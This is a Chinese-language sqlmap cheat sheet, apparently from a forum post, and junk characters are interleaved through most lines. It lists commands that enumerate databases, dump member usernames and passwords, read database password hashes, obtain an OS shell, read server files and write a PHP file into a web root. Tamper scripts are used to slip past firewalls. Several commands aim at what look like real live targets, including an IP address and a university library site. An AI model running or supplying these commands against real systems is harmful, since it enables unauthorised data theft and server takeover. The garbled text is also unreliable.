/pentest/database/sqlmap% U4 ^# W1 a H9 k* Y
, a# j& d s! _0 B! h# ]* supdate :::::> in the folder after execute following order : svn update
* j1 Q, F: y$ l6 c' ~& o" ^+ V0 k7 [9 `! `) B* S
sqlmap.py -r 1.txt --current-db! `* q9 r+ L o! \- V! y9 d5 p+ G8 ]
' ]! L; n: r8 \' ~ _/ Vv 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”" g: K. h# i3 w4 m: d8 Z
) R0 ^) j$ A- M, Q& D& }8 m( A# \3 i==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) 5 L3 }: B0 M+ L6 h, M
猜解数据库; d: p0 \+ d+ W0 u( M; h& x$ Q2 d
./sqlmap.py -u "injection-url" --dbs
0 D& `# Q3 W) I M* P. `/ A- h" }9 Asqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"# m$ L9 t/ Q1 {9 h/ h
( ^5 g+ _5 M$ j2 c" E. k2 f
猜解表名) b0 r4 }. }2 B+ R3 ]0 j
./sqlmap.py -u "injection-url" -D database_name --tables
" W* Y6 r( Y8 Z7 ~7 F. O' K5 R B: r3 A) @, p
sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"9 z' T3 T" t3 K! E& D1 |0 Z
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py" % F/ f s7 `! M( [
& v9 j& m: {5 i8 }' }sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
4 { B6 h5 ^; Q, T/ Q& p0 R: R% o
( p! x5 t( k% U+ z- P" {sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py": Q0 T' M# r6 d; t, v/ e
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"; W' ]/ d9 ]% a8 C
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" 9 r1 M4 D! F" M8 X8 H$ E; |! x
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
" A# X% d. A' G3 D$ D8 ]; \
" \; l4 _; ^: Vsqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"5 T$ q! N; O( z
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"/ Z9 d: A% M' x8 o
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
, Z7 c7 X3 _, S: t! ~- Osqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"7 i$ v4 Z8 L% J! ~( K
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump; Q8 w% A5 D, O: a0 u8 C, i
0 Y' ~) L+ ^) [" hsqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了0 ?% G7 N" a/ m0 S
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py". }$ e9 g& Y6 S, W/ N ^
- a% z# B/ A4 U* x* i% v! \
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst", ?0 x, J- N' j. a+ y% u' A: T
猜解列名
`, e/ G# G: V! d6 D./sqlmap.py -u "injection-url" -D database_name -T table_name --columns) S! q& E( r* {( Q
3 G5 Q# f& @7 G% k
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" 5 s; ]' r/ u+ B
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
~+ f6 f$ V1 w7 W" esqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
8 x9 h5 c1 c! Y- s3 z+ x
o) }; W9 H9 b% o; J9 {sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"! m( |9 o; F) Y& W) w
&submit=Go* {5 D& I+ Y0 n# a, n# P" Q
猜解值" N9 r- ] k' O
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
2 Y0 H# U' J# v0 f. w========================================================4 A/ u2 n1 o' H2 i8 [( l: ]
搜索表名中包括mana字符的
$ R& o; l1 @( K/sqlmap.py -u "injection-url" -T mana --search! I g3 v3 r; ?2 G. |$ E
返回一个交互式sql shell( ~+ f- _3 T% U$ F$ l6 w
/sqlmap.py -u "injection-url" --sql-shell( j; S/ t: S! |
读取指定文件(需权限)1 y0 T# M/ y* p/ g/ a: U& }/ l) j
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
5 d- z/ F1 V9 |% D, r3 V查看当前 用户 及 数据库
' f( y. z$ k/ C% Q' `0 g, \- w/sqlmap.py -u "injection-url" --current-user --current-db
6 r; m( C. l* e7 D本地文件 写入 远程目标绝对路径/ K6 W( B" e; j! V0 {/ W
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
" w6 G, O5 G7 P/ A- lsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" & u; [& i/ A! f: M5 v d, `
) b/ ]6 a# q1 f N
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
! A9 L- @% V7 x3 R' l& w/ m( `; c查看某用的权限
" g& F7 v0 l* d/ }; A/sqlmap.py -u "injection-url" --privileges -U root
t( y) X7 }" O- k; J查看当前用户是否为dba( m) p5 q# }4 ~
/sqlmap.py -u "injection-url" --is-dba
. D% {2 e+ f: K" O读取所有数据库用户或指定数据库用户的密码& m4 |3 p+ _' _ Y S
sqlmap.py -r 1.txt --users --passwords3 C& P z' _; D
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" ) D( Y9 S/ d/ Z
! n: g8 {+ u/ e* W7 M
/sqlmap.py -u "injection-url" --passwords -U root
/ F1 W) Z2 t, q b9 {. l9 [+ a; ^: d( |. H5 N
--start&&--stop 与 --first&&--last 的区别' k2 `6 A7 @1 f& V
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)1 `! K {7 L" ]' O2 ?7 t$ Y
6 W* ?* I/ Q, X* ]& g# Q$ a( s从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
6 w6 x9 F C h, Y; P% S, v/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
$ h: e) v) l% j! p7 H5 C/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
4 _ B7 R7 y+ N2 ~
" ?# w8 |4 q; i1 D4 Z! L执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)! k7 H( f& i9 e8 w& q J) C A
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
6 f# A% G7 I1 c
! X& e1 [1 A- H' A8 F |